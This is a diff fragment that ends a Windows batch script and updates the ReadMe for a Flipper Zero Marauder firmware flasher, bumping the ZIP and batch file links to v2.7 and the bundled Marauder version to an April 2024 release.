+echo.
+echo (You may now close this window or press any key to exit.)
+pause>nul
+exit

Wifi_DevBoard/FZ_Marauder_Flasher/ReadMe.md

@@ -18,7 +18,7 @@ Flasher includes auto-detection and BINs for Flipper devboard, ESP32-WROOM, and
 
 ## Now it's as easy as 1, 2, 3 to install or update Marauder on Windows.
 
-1. Download and extract [the ZIP file](https://github.com/UberGuidoZ/Flipper/raw/main/Wifi_DevBoard/FZ_Marauder_Flasher/FZ_Marauder_v2.6.zip) above to the same directory.<br>
+1. Download and extract [the ZIP file](https://github.com/UberGuidoZ/Flipper/raw/main/Wifi_DevBoard/FZ_Marauder_Flasher/FZ_Marauder_v2.7.zip) above to the same directory.<br>
 2. Hold `BOOT` on the devboard and plug it into your PC directly via USB.<br>
 3. Double-click `flash.bat` from the extracted files then choose `Flash` or `Update`.
 
@@ -31,11 +31,11 @@ Flasher includes auto-detection and BINs for Flipper devboard, ESP32-WROOM, and
 
 * If you have a WROOM device, this will be detected automatically and you'll be presented with a similar menu, but for WROOM!
 
-Current Marauder version included in the ZIP: v0.13.20231214 (current release as of Dec 14, 2023)
+Current Marauder version included in the ZIP: v0.13.10.20240425 (current release as of Apr 25, 2024)
 
 **Once the install has completed, [head over here](https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard#marauder-install-information) to learn more about what Marauder can do!**
 
-The [batch file](https://github.com/UberGuidoZ/Flipper/blob/main/Wifi_DevBoard/FZ_Marauder_Flasher/Flash-v2.6.bat) is also included above for review and to track coming changes.
+The [batch file](https://github.com/UberGuidoZ/Flipper/blob/main/Wifi_DevBoard/FZ_Marauder_Flasher/Flash-v2.7.bat) is also included above for review and to track coming changes.
 
 Acknowledgements:<br>
 * [justcallmekoko](https://github.com/justcallmekoko/ESP32Marauder) for the AWESOME work in developing Marauder and porting it to the Flipper.